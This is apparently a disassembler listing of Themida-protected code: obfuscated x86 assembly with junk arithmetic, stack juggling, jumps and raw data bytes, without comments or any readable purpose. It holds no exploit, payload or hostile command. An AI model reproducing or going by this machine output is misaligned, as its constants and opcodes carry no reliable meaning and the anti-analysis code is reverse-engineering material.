		dd 8F24248Bh, 0CBE92404h, 66FFFFD8h, 83240C8Bh,	2C8904ECh
		dd 81E58924h, 4C5h, 0E3895300h,	0FF546EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6DD:				; CODE XREF: Themida_:0055959Aj
		add	esi, 8EBCAF44h
		add	ebx, esi
		pop	esi
		push	6674h
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, 2503049Ah
		add	ebx, ecx
		jmp	loc_555D2F
; ---------------------------------------------------------------------------
		dd 0A1B35352h, 0FF7B6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F709:				; CODE XREF: Themida_:00559FA0j
		sub	edx, ebx
		pop	ebx
		sub	edx, 1EA06B9h
		and	edx, 1EC740FBh
		not	edx
		xor	edx, 0ED39BF62h
		jmp	loc_5618AB
; ---------------------------------------------------------------------------


loc_55F725:				; CODE XREF: Themida_:00554812j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	al, ch
		mov	cx, [esp]
		push	ebx
		push	esp
		jmp	loc_55ED61
; ---------------------------------------------------------------------------
aTs1		db 'Té1[',0
		align 2


loc_55F73E:				; CODE XREF: Themida_:005591AEj
		sub	esi, 2C5D6F3Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567FF2
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3BF62E6Eh, 0DA31E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F75E:				; CODE XREF: Themida_:0055B751j
		pop	ebp
		add	esp, 4
		push	501Ah
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 47A51131h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		jmp	loc_56569D
; ---------------------------------------------------------------------------
aTyhg		db 'TYhƒ<',0
		align 2
		dw 1C89h
		dd 4685724h, 5F000000h,	15FFB89h, 0EC815BD9h, 4, 51241489h
		dd 87369CB9h, 0C1F1816Ah, 506A3068h, 0E38EE951h, 79E9FFFFh
		dd 81FFFF34h, 0FBAFB0E9h, 0E9CD8946h, 0FFFF6AC9h
; ---------------------------------------------------------------------------


loc_55F7CC:				; CODE XREF: Themida_:00566C54j
		mov	ebx, 1C053D1Ch
		push	eax
		push	edi
		mov	edi, 5A4A51C1h
		mov	eax, 56473D6Fh
		jmp	loc_56312E
; ---------------------------------------------------------------------------


loc_55F7E2:				; CODE XREF: Themida_:005643FEj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55AD37
; ---------------------------------------------------------------------------
aLS		db '‹<$é±}',0
		db 0
; ---------------------------------------------------------------------------


loc_55F805:				; CODE XREF: Themida_:005668DBj
		mov	esi, 384D344Dh
		jmp	loc_55CF0A
; ---------------------------------------------------------------------------
		db 31h
		dd 693EE9DAh, 0E581FFFFh, 4F0D3096h, 977FED81h,	0EB01139Eh
		dd 53B9515Dh, 12C2643h,	0D30159CBh, 4353EB81h, 0BE562C26h
		dd 0D1B0822h, 0EEC1DEF7h, 9109E902h, 0C8BFFFFh,	4C48324h
		dd 9F7BD55h, 0C5814633h, 13E3BDBh, 0FFC8A3E9h, 7DE950FFh
		dd 80FFFFFCh, 910454EBh, 0D8281E04h, 0BE95366h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F873:				; CODE XREF: Themida_:00554330j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_560D2A
; ---------------------------------------------------------------------------


loc_55F882:				; CODE XREF: Themida_:005595D2j
		add	ebx, edi
		jmp	loc_564065
; ---------------------------------------------------------------------------


loc_55F889:				; CODE XREF: Themida_:005539B0j
		sub	esp, 4
		jmp	loc_561699
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0F9h
		dd 4F7CFE56h, 643CF781h, 0C781195Ch, 11503625h,	0F4B5EF81h
		dd 0FE012C1Fh, 0BC91E95Fh, 0EF80FFFFh, 5BB3535Ah, 1C8BDA28h
		dd 4C48324h, 0C280FA00h, 912C5B5Bh, 9104D028h, 0FFA07FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8D1:				; CODE XREF: Themida_:00566714j
		pop	ebp
		xor	esi, 70ED7F73h
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 5D4E2B1Ah
		push	edx
		mov	edx, 6C310785h
		and	ecx, edx
		pop	edx
		and	ecx, 5CF31734h
		not	ecx
		push	esi
		push	ebp
		jmp	loc_553147
; ---------------------------------------------------------------------------
		dd 243C8B54h, 4C481h, 0C7810000h, 4, 4BE56h, 0F7010000h
		dd 4E6BE95Eh, 34FF0000h, 0EC815824h, 4,	0FF9E46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F929:				; CODE XREF: Themida_:00558EB7j
		pop	ecx
		add	edi, 0AF87BB69h
		push	ebp
		jmp	loc_55CF67
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5D0424h, 685C2404h, 73Dh, 0BA241489h, 2, 335AD701h
		dd 3C31243Ch, 572DE924h, 68560000h, 4B3543A9h, 8324348Bh
		dd 0EC8304C4h, 24148904h, 5A5FABBAh, 0FBEA8163h, 94DDD5Bh
		dd 74E95AD6h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F97F:				; CODE XREF: Themida_:00555210j
		xor	ecx, 7CEC5D03h
		push	esi
		mov	esi, 44D8556Dh
		neg	esi
		sub	esi, 0B02E53DFh
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 0EC68C87Dh
		push	6E37h
		mov	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_566AC9
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F3AAF381h, 0C181B037h, 5AC3701Eh, 77E981h, 0D901398Bh
		dd 0FFF7A7E9h, 7E1C0FFh, 0E9C3B753h, 0FFFF893Bh, 50243489h
		dd 0EF593DB8h, 24A02D12h, 0C6899469h, 5EEE8158h, 0E93A7236h
		dd 0FFFF3C53h, 68240C89h, 3CD21B92h, 0E8E94959h, 5F000067h
		dd 4875E9h, 2474FF00h, 240C8B04h, 4C481h, 48F0000h, 2434FF24h
		dd 3E87E9h, 1558BE00h, 0F1291BDBh, 0FF4222E9h, 5B93B9FFh
		dd 0CA0108A2h, 0D5ED8159h, 0E972903Fh, 0FFFF782Ch, 66D9885Ah
		dd 83241C8Bh, 0C80002C4h, 240C8B66h, 2C481h, 0E9530000h
		dd 7397h, 0BE56D829h, 0BAF761Fh, 0E9DEF746h, 0FFFFD4E8h
		dd 7E0AE952h, 6857FFFFh, 68894D05h, 4B7BE95Fh, 34FF0000h
		dd 0C4815F24h, 4, 4EC81h, 1C890000h, 81E38924h,	4C3h, 4C38100h
		dd 87000000h, 248B241Ch, 242C8724h, 0FF24248Bh,	86E92434h
		dd 56000002h, 0FFDFF5E9h, 0F88850FFh, 5B58C688h, 0FBE95166h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FAC7:				; CODE XREF: Themida_:00557035j
		mov	ecx, 4F5C1A27h
		add	ecx, 0DA741DEh
		shl	ecx, 1
		push	edx
		mov	edx, 245D5E2Eh
		sub	edx, 1
		sub	edx, 824285DAh
		xor	ecx, edx
		pop	edx
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56371B
; ---------------------------------------------------------------------------


loc_55FAF6:				; CODE XREF: Themida_:0055D086j
		shr	ecx, 8
		shl	ecx, 8
		add	ecx, 5320DD2Bh
		xor	edi, ecx
		pop	ecx
		push	11D4h
		mov	[esp], ebx
		push	edi
		push	ebx
		mov	ebx, 4B1E4230h
		sub	[esp+4], ebx
		pop	ebx
		pop	ebx
		jmp	loc_55C098
; ---------------------------------------------------------------------------
		db 56h
		dd 27A06855h, 815D4422h, 5ABCCEDh, 0E88950D7h, 8B58C689h
		dd 8957242Ch, 0C6B4E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB3E:				; CODE XREF: Themida_:00563BF4j
		pop	esp
		retn
; ---------------------------------------------------------------------------
		dd 0FF30F3E9h, 513BB6FFh, 0F1801FB1h, 0C31BE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB52:				; CODE XREF: Themida_:00554A6Dj
		push	4684h
		jmp	loc_5558B9
; ---------------------------------------------------------------------------
		dd 50E68852h, 0E588F488h, 3BE95A58h, 28000032h,	4A32CD8h
		dd 6763E999h, 0DD890000h, 5EFEE95Bh, 4330000h, 24043124h
		dd 8B240433h, 0E2E92424h, 0BF000059h, 2F062232h, 5206E7C1h
		dd 0B630AC68h, 0ECE95A01h, 2DFFFF7Ah, 54CB5822h, 83241C8Bh
		dd 0D00104C4h, 0AE385C05h, 62E9530Ah, 68FFFF35h, 7715h
		dd 0FF97D2E9h, 37C281FFh, 8170F64Ah, 0A41F11E2h, 4CBE5609h
		dd 17EE814h, 0ADE95EF2h, 81FFFFE8h, 4C7h, 7A76E900h, 0D6F6FFFFh
		dd 0F6F9C680h, 90E953D6h, 66000039h, 8124048Bh,	2C4h, 2F28000h
		dd 2EC81h, 89660000h, 1CF62414h, 148B6624h, 2C48124h, 66000000h
		dd 58C1E953h, 0C330000h, 240C3124h, 5C240C33h, 51242C89h
		dd 0E205E268h, 240C8B52h, 81E18951h, 4C1h, 4BA5200h, 1000000h
		dd 0C875AD1h, 512DE924h, 565D0000h, 0F4299BBEh,	5EF1213Fh
		dd 8218E9h, 22E95900h, 100007Fh, 81042444h, 5E042444h
		dd 580C816Bh, 7F01E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC7A:				; CODE XREF: Themida_:00566B6Dj
		xor	eax, [esp]
		jmp	loc_564D0B
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 7A5FBE56h, 0EEC1188Ah, 0E6814608h, 767115AAh, 26EE81h
		dd 0F0010010h, 42D5Eh, 4870000h, 24895C24h, 0D3C1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCAE:				; CODE XREF: Themida_:00557BF8j
		pop	ecx
		jmp	loc_558E96
; ---------------------------------------------------------------------------


loc_55FCB4:				; CODE XREF: Themida_:00560C93j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	ebx, edx
		pop	edx
		push	eax
		jmp	loc_56253D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF9B3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FCCD:				; CODE XREF: Themida_:005549BBj
		mov	esi, eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 0FA7CC1ECh
		jmp	loc_5666A0
; ---------------------------------------------------------------------------
		dd 8F04C483h, 0E95C2404h, 0FFFFB68Fh, 57468h, 0EFDBE900h
		dd 0BEFFFFh, 1411126h, 0D3F75EF3h, 0C104EBC1h, 5FE908EBh
		dd 8100004Fh, 834F81EDh, 0E9E9898Fh, 0FFFF8204h, 88EDC680h
		dd 0B3E95AF1h, 0BFFFFF35h, 6AA11D1Bh, 0C7FAEF81h, 0FD31263Eh
		dd 0FF4FB6E9h, 236858FFh, 0E900000Fh, 19B4h, 4C781h, 3C870000h
		dd 24248B24h, 578568h, 241C8900h, 0C381E389h, 4, 8704EB83h
		dd 0E95C241Ch, 0FFFF8D6Eh, 4EC8156h, 0E9000000h, 0FFFFEDBBh
; ---------------------------------------------------------------------------


loc_55FD78:				; CODE XREF: Themida_:0056678Ej
		push	esi
		mov	esi, 1DD251B2h
		add	edi, esi
		pop	esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5619D2
; ---------------------------------------------------------------------------
		dd 24048B66h, 393FE9h, 87C58000h, 50E5E952h, 0BA52FFFFh
		dd 2, 8AE9D389h, 8B00002Fh, 82E9243Ch
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDB7:				; CODE XREF: Themida_:005647BCj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_55B7C3
; ---------------------------------------------------------------------------
aIX		db '¸i',9,'X',0
		db 9
		dd 0CB8158C3h, 137016E0h, 4EC81h, 0D2E90000h, 81000045h
		dd 917D36C3h, 0F87CE973h, 0E951FFFFh, 0FFFF941Dh, 8159CA09h
		dd 0A746EDEAh, 0E9DAF713h, 472h, 88241489h, 0FFF188E6h
		dd 0B0E92434h, 81FFFF42h, 0A042444h, 163231Dh, 81042454h
		dd 0A04246Ch, 8163231Dh, 3104246Ch, 8118642Eh, 2D042444h
		dd 0E92B190Eh, 0FFFFA4C5h
; ---------------------------------------------------------------------------


loc_55FE34:				; CODE XREF: Themida_:0056056Ej
		shr	edi, 8
		add	edi, 0FFFF6ECBh
		push	1FEDh
		mov	[esp], edi
		mov	ebx, [esp]
		push	eax
		jmp	loc_562BDF
; ---------------------------------------------------------------------------
aBLnjlsU	db 'êLjlé+U',0
		db 0
; ---------------------------------------------------------------------------


loc_55FE59:				; CODE XREF: Themida_:005538C4j
		pop	dword ptr [esp]
		jmp	loc_565F12
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0B1515Ch, 0E980D9F6h, 1E98067h, 8003E1C0h, 0B05086E1h
		dd 69B151DCh, 0FFE533E9h, 575258FFh, 6339A3BFh,	25C78135h
		dd 57D468E1h, 42242C81h, 5A677674h, 7442C281h, 515F6776h
		dd 530908B9h, 14F75112h, 0F1815924h, 58E201F7h,	6D64E181h
		dd 0E98157EDh, 61C80DE6h, 2FB4F181h, 25E9C7E3h,	8BFFFFFFh
		dd 0C481242Ch, 4, 0FFF68CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FED5:				; CODE XREF: Themida_:005544B7j
		not	edx
		shl	edx, 1
		jmp	loc_564E20
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0E95AD689h, 0FFFFA5B2h, 513F68h, 620DE900h, 15D0000h
		dd 242C8BEFh, 537768h, 243C8900h, 0DDE9E789h, 81FFFF38h
		dd 437AD0EAh, 8E2C11Eh,	0F252BE56h, 0F2314427h,	8124348Bh
		dd 4C4h, 5AD60900h, 4891CE81h, 0DEE90EE4h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF33:				; CODE XREF: Themida_:005633F8j
		pop	esi
		push	dword ptr [esp]
		jmp	loc_55E9F0
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C3304C4h, 240C3124h, 2F64E9h, 24048F00h
		dd 14F6E9h, 718BB00h, 0DF296D01h, 2414E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF61:				; CODE XREF: Themida_:0055A487j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55958F
; ---------------------------------------------------------------------------


loc_55FF70:				; CODE XREF: Themida_:00560FEAj
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, 4DD97B69h
		inc	eax
		add	eax, 0ABF7AE96h
		or	ebx, eax
		pop	eax
		sub	ebx, 1
		jmp	loc_55AB11
; ---------------------------------------------------------------------------
		dd 5008EAC1h, 1855F8B8h, 155C0D5Dh, 0D0F71376h,	65E5E9h
		dd 5FFD8900h, 5202E5C1h, 47C5BF57h, 50BA5702h, 31338E4Dh
		dd 98BDE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFBA:				; CODE XREF: Themida_:005670EBj
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		neg	ebx
		jmp	loc_5663DB
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 3D01E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FFD5:				; CODE XREF: Themida_:005648D4j
		dec	esi
		sub	esi, 1
		inc	esi
		jmp	loc_56278A
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0E9EBD0F3h, 0FFFF32C2h, 0E904C083h, 0FFFFB5DAh, 509468h
		dd 242C8900h, 0A65CC5BDh, 1C58135h, 0E9000000h,	0FFFF7ECCh
		dd 0EB7FBBBDh, 5DEF091Ch, 0BBB1C781h, 0FE2974ACh, 871AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56001E:				; CODE XREF: Themida_:0055F526j
		sub	eax, 0A2E7279h
		pop	ebp
		add	eax, esi
		add	eax, 3A0071E4h
		jmp	loc_558ED5
; ---------------------------------------------------------------------------
		dd 81D9015Eh, 90696C1h,	0D7E5E952h, 3C8BFFFFh, 4C48124h
		dd 0E9000000h, 68B7h, 81665D66h, 590B0EC2h, 66565166h
		dd 6669F7BEh, 6A5CEE81h, 80EE8166h, 0DEF76603h,	0FF3889E9h
		dd 3263BBFFh, 0D3877C31h, 36E9D2F7h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56007B:				; CODE XREF: Themida_:0055463Dj
		mov	esi, 8304858h
		inc	esi
		sub	esi, 0FCDAEDFFh
		add	ecx, esi
		pop	esi
		pop	ebp
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 2B8F18B9h
		pop	ecx
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	20C1h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	$+5
		push	eax
		push	ecx
		mov	ecx, 21F25ECBh
		push	ecx
		xor	dword ptr [esp], 1BE0577Dh
		pop	eax
		xor	eax, 1BE0577Dh
		pop	ecx
		jmp	loc_557613
; ---------------------------------------------------------------------------


loc_5600CF:				; CODE XREF: Themida_:0055AC73j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_560518
; ---------------------------------------------------------------------------


loc_5600D8:				; CODE XREF: Themida_:0055ABDCj
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_561210
; ---------------------------------------------------------------------------
		db 29h
		dd 0E9555DE9h, 0FFFFE144h, 8EA3E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560102:				; CODE XREF: Themida_:0055BB90j
		mov	[esp], ecx
		mov	ecx, 1
		push	ecx
		push	eax
		jmp	loc_556976
; ---------------------------------------------------------------------------
		db 28h,	0D7h, 5Ah
		dd 0DF2CA52Ch, 0FFC7E9E9h, 485DBFFFh, 0C7812A6Ah, 0E424D0Dh
		dd 1008F781h, 0F74F467Dh, 80C781D7h, 89EB65BEh,	0E5D15FFDh
		dd 5C26F581h, 0E831BAC5h, 0E9242C8Bh, 0FFFF79CEh
; ---------------------------------------------------------------------------


loc_56014C:				; CODE XREF: Themida_:005640A3j
		pop	edi
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edi
		mov	edi, 1
		mov	esi, edi
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56580D
; ---------------------------------------------------------------------------


loc_560179:				; CODE XREF: Themida_:0055B732j
		sub	eax, 0FFFFFFFFh
		push	esi
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_560184:				; CODE XREF: Themida_:00565082j
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 6ECh, 0FEFBB252h, 0D69FE9C2h, 2C8BFFFFh
		dd 4C48324h, 557CEA81h,	0E9512AF5h, 71D0h, 0E9FFE983h
		dd 0FFFFB3FCh, 24048F5Ch, 1489665Ch, 7D41E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601C6:				; CODE XREF: Themida_:00552C66j
		pop	dword ptr [esp]
		jmp	loc_55DFF5
; ---------------------------------------------------------------------------
		dw 555Fh
		dd 0FFA00FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5601D5:				; CODE XREF: Themida_:005609E2j
		sub	esi, 4D5A1F94h
		add	esi, 5D0235B2h
		mov	ecx, esi
		pop	esi
		sub	ecx, 4B3D7331h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5663B6
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55983A
; ---------------------------------------------------------------------------


loc_56021A:				; CODE XREF: Themida_:00557448j
		pop	esp
		jmp	loc_5654A9
; ---------------------------------------------------------------------------
		dd 0BD555750h, 54C80697h, 120C581h, 0EF89B9CBh,	0FFBB99E9h
		dd 242C87FFh, 3124248Bh, 0A9E959CAh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560243:				; CODE XREF: Themida_:0055B37Aj
		mov	esi, 719932D4h
		sub	esi, ebp
		pop	ebp
		jmp	loc_553D53
; ---------------------------------------------------------------------------
		dd 1D03B850h, 0E8C10B77h, 0D0E7E905h, 2C2DFFFFh, 51505874h
		dd 0C97344B9h, 0D2A6E978h, 0E94AFFFFh, 0FFFF3EDDh, 4C481h
		dd 9DBF0000h, 1EED3D8h,	2434FFC7h, 0E924048Bh, 58E6h
; ---------------------------------------------------------------------------


loc_56028C:				; CODE XREF: Themida_:005542D5j
		pop	esi
		jmp	loc_553976
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 18D17BDEh, 2403EB81h, 0C4E96ADAh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5602A3:				; CODE XREF: Themida_:00559091j
		mov	ecx, 0
		jmp	loc_567A9A
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C4h
		dd 25B5E904h, 43680000h, 89000070h, 4AB3241Ch, 1C16E9h
		db 0
; ---------------------------------------------------------------------------


loc_5602C5:				; CODE XREF: Themida_:0055B653j
		inc	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 42247720h
		jmp	loc_5614B4
; ---------------------------------------------------------------------------


loc_5602DA:				; CODE XREF: Themida_:00562A52j
		pop	edi
		and	eax, edi
		jmp	loc_554117
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 43E90000h, 53000002h, 5A440DBBh, 0C1DBF752h
		dd 95E904E3h, 66FFFF74h, 6824048Bh, 414Ah, 0FF4BF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56030D:				; CODE XREF: Themida_:0056180Dj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_55BDF1
; ---------------------------------------------------------------------------


loc_56031B:				; CODE XREF: Themida_:00565B50j
		pop	eax
		jmp	loc_5679C8
; ---------------------------------------------------------------------------
		db 5Ah,	0C0h, 0ECh
		dd 0F1B35306h, 0E9C0F380h, 0B05h, 4EC81h, 0A6E90000h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56033B:				; CODE XREF: Themida_:00560B83j
		sub	edi, 3A1A0DB2h
		mov	esi, edi
		pop	edi
		pop	ebp
		push	eax
		jmp	loc_55C63D
; ---------------------------------------------------------------------------


loc_56034B:				; CODE XREF: Themida_:005644D7j
		mov	edi, eax
		jmp	loc_555590
; ---------------------------------------------------------------------------


loc_560352:				; CODE XREF: Themida_:00567FA9j
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55AC41
; ---------------------------------------------------------------------------


loc_56035C:				; CODE XREF: Themida_:005611FAj
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	5C36h
		mov	[esp], edx
		push	esi
		jmp	loc_55D9E7
; ---------------------------------------------------------------------------
		db '^hÏ',27h,0
		dw 8900h
		dd 89E92434h, 0FFFFFF7Eh, 68582434h, 1917h, 68243C89h
		dd 0AB0h, 81242489h, 42404h, 34FF0000h,	89505F24h, 405E0h
		dd 0C0830000h, 657EE904h, 4BA0000h, 1000000h, 2434FFD3h
		dd 3C2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5603C1:				; CODE XREF: Themida_:00566581j
		shr	ecx, 2
		push	ebx
		sub	dword ptr [esp], 1D6E7E84h
		mov	eax, [esp]
		add	esp, 4
		push	525Ch
		jmp	loc_554335
; ---------------------------------------------------------------------------
		db 50h
		dd 0C289F089h, 5AD38958h, 0C87535Eh, 65FDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5603F2:				; CODE XREF: Themida_:00562569j
		not	edi
		push	eax
		mov	eax, 48872B7Dh
		dec	eax
		shl	eax, 6
		sub	eax, 43F9710Fh
		add	edi, eax
		pop	eax
		sub	ecx, 262169F6h
		jmp	loc_557BEA
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0A7h
		dd 80FFFF48h, 97E92BE5h, 0BA000062h, 310066F7h,	815AD729h
		dd 0B273E4EFh, 57C681F4h, 10EBA6Ch, 57EE81FEh, 5F0EBA6Ch
		dd 6A6AE9h, 0C6E95300h,	0FF000027h, 81582434h, 4C4h, 0CDC78100h
		dd 1335C4Ah, 9FE953F7h,	8BFFFFCCh, 0C481242Ch, 4, 89651A35h
		dd 9CA22D0Dh, 35E92954h, 0FFFFFF4Ch, 34FF2434h,	14B5E924h
		dd 0C8B0000h, 0E1895124h, 4BD55h, 0F4E90000h, 81000028h
		dd 0D0182FC5h, 0BEF5816Fh, 1B05E8Eh, 0BE565DEFh, 2, 348BF701h
		dd 4C48124h, 87000000h,	95E9243Ch, 68FFFF3Dh, 1C67h, 89240C89h
		dd 4C181E1h, 0E9000000h, 0FFFF3EB1h, 2A5D4EBFh,	5FFB2912h
		dd 3780F381h, 0DA018C0Ch, 1CE9515Bh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5604E7:				; CODE XREF: Themida_:005552B8j
		mov	ebp, esp
		push	4A51h
		mov	[esp], edx
		push	3C9B6A97h
		jmp	loc_56694F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 11E9242Ch, 1000022h,	4EC81EFh, 89000000h, 0C0B82404h
		dd 0E906455Ah, 16F5h
; ---------------------------------------------------------------------------


loc_560518:				; CODE XREF: Themida_:005600D3j
		sub	edx, 1BC73304h
		add	edx, 0ABD1B76Eh
		add	ebx, edx
		pop	edx
		jmp	loc_553B59
; ---------------------------------------------------------------------------
		dd 0BE13E953h, 0C383FFFFh, 241C8704h, 3606E9h
		db 0
; ---------------------------------------------------------------------------


loc_56053D:				; CODE XREF: Themida_:005566BDj
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_560C0E
; ---------------------------------------------------------------------------
aW		db '¾w[',0Ah,0
		db 31h
		dd 7D51E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56055A:				; CODE XREF: Themida_:0055A9DFj
		pop	ebp
		pop	eax
		xor	ebp, 4C6856B0h
		mov	edi, ebp
		pop	ebp
		xor	edi, 14DB127Ch
		shr	edi, 7
		jmp	loc_55FE34
; ---------------------------------------------------------------------------
		db 0B8h
		dd 131F7C33h, 22321D0Dh, 0C1E0D140h, 0E8C107E8h, 0E8F50504h
		dd 8150C366h, 438D242Ch, 815F7241h, 41438DC7h, 0F8015872h
		dd 8BC5315Fh, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 0E073E95Ch, 8F59FFFFh, 19E92404h, 0C1FFFF73h, 0E907E6h
		dd 0B9000002h, 345035E1h, 6225E9h, 4055800h, 0E9000000h
		dd 79CEh, 0ECE9D831h, 87FFFFC6h, 535C241Ch, 0FFFCF1E9h
		dd 0EFC15FFFh, 6DFF6802h, 1C890000h, 2E56E924h,	0D1BF0000h
		dd 0E9135656h, 0FFFFBFEFh, 0BEF6E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560612:				; CODE XREF: Themida_:005564C5j
		pop	ebx
		sub	dl, 0FFh
		sub	dl, 0BAh
		jmp	loc_55532C
; ---------------------------------------------------------------------------


loc_56061E:				; CODE XREF: Themida_:00555E58j
		mov	ecx, [esp]
		add	esp, 4
		not	bl
		add	bl, 0A4h
		jmp	loc_5553EB
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 4A2038A9h, 8324348Bh, 0D9E904C4h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56063F:				; CODE XREF: Themida_:0055E18Dj
		add	ecx, 84A493FCh
		jmp	loc_564628
; ---------------------------------------------------------------------------
		dw 55Ah
		dd 408B1FF5h, 2BD555Fh,	0E9000000h, 10A9h
; ---------------------------------------------------------------------------


loc_56065C:				; CODE XREF: Themida_:0055B09Bj
		pop	eax
		shr	ecx, 1
		or	ecx, 7A76BADh
		add	ecx, 41880C93h
		shr	ecx, 2
		add	ecx, 30E431D7h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B297
; ---------------------------------------------------------------------------
aXs		db 9,'ÂXéÚ',0Bh,0
		dd 54DABD00h, 0E9291E79h, 0FF7979E9h, 24248BFFh, 2896664h
		dd 0FF2597E9h, 0D830ACFFh, 8904EC83h, 0DF68240Ch, 8900002Dh
		dd 0ACB22414h, 88D38853h, 7BCDE9D9h, 0D801FFFFh, 0E4F1E953h
		dd 0C483FFFFh, 68D9F604h, 28F5h, 0B6241489h, 8C680CDh
		dd 0C680DEF6h, 5AF130F6h, 23B9E9h, 51D63100h, 63EBBE56h
		dd 0D6F77040h, 6AECE9h,	4C48300h, 692AC981h, 0E9C15ADCh
